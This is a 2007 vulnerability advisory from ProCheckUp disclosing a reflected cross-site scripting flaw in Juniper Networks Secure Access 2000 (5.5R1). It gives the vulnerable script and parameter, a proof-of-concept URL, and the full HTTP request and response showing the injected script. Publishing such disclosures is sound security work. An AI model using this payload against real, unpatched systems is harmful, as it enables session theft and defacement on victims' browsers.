PR07-41: XSS on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Medium-high


Description:

Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS.

Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'

Unfiltered parameter: 'delivery_mode'


Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000) 
5.5R1 (build 11711)


Proof of concept:

https://target-domain.foo/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryaga 

in&signinId=url_default


Consequences:

An attacker may be able to cause execution of malicious scripting code 
in the browser of a victim user who clicks on a link to a Juniper 
Networks Secure Access site. Such code would run within the security 
context of the target domain.

This type of attack can result in non-persistent defacement of the 
target site, or the redirection of confidential information (i.e.: admin 
session IDs) to unauthorised third parties.

Fix:

Juniper Networks was aware of this issue which they addressed on version 
5.5R3. However, we decided to release this advisory due to lack of 
information regarding this vulnerability in the public domain.

References:

http://www.procheckup.com/Vulnerabilities.php
http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/


Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


COMPLETE HTTP REQUEST:

GET 
/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default 
HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*
[CRLF]
[CRLF]


PARTIAL HTTP RESPONSE:

<title></title>

[SNIP]

<APPLET id=NeoterisSetup > Unknown deliver mode 
</APPLET><SCRIPT>alert('Can Cross Site Attack')</SCRIPT>
<PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET>


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